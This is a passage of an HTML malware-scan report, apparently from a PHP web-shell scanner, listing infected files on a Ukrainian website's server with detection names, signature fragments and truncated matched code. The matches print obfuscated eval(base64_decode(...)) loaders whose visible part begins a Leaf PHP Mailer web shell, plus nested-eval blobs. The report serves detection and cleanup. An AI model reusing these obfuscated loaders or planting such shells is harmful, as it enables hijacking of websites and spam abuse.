</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_370").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zfngp.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:46:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:46:17</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_371" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_371").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/jpttp.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:36</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_372" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_372").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ovasiehcx.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.06 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:31</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 2</span><br><table id="file_373" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSvuX0l+i/6Jm9xfGkJT3L4yTp5urFQ/jX0Q...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$Shgrt</span><span style="color: #007700">(</span><span style="color: #0000BB">$sJhXG</span><span style="color: #007700">(</span><span style="color: #0000BB">$LNuWx</span><span style="color: #007700">(</span><span style="color: #0000BB">$DesQW</span><span style="color: #007700">(</span><span style="color: #DD0000">'rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2/k6cLDxGlvpPVPy/tfcP9zH4SGRm7mDoYWzjy6HP/WO9+/oHl02f/N+V91fHk4OIXkvGT1Sf9J6D+UZPu/ZTR0s2e2dnKlpDI3dKOk/RvByvg/iP3fo/4JTPm3W3sLM75/2v+owPL/nO5N9S/PPzT+lwa+vjx/Ecz+2YgvD/M/SvDRuP3t0oGUj/4fXm8nM0+nf9j/aVIx8vG5kVI6u/FQ2ZHS6jL/Oy0PBztjPoe/tP/TR+tGSv...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RinY</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_373").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/bnpru.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:17:25</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:17:25</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_374" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
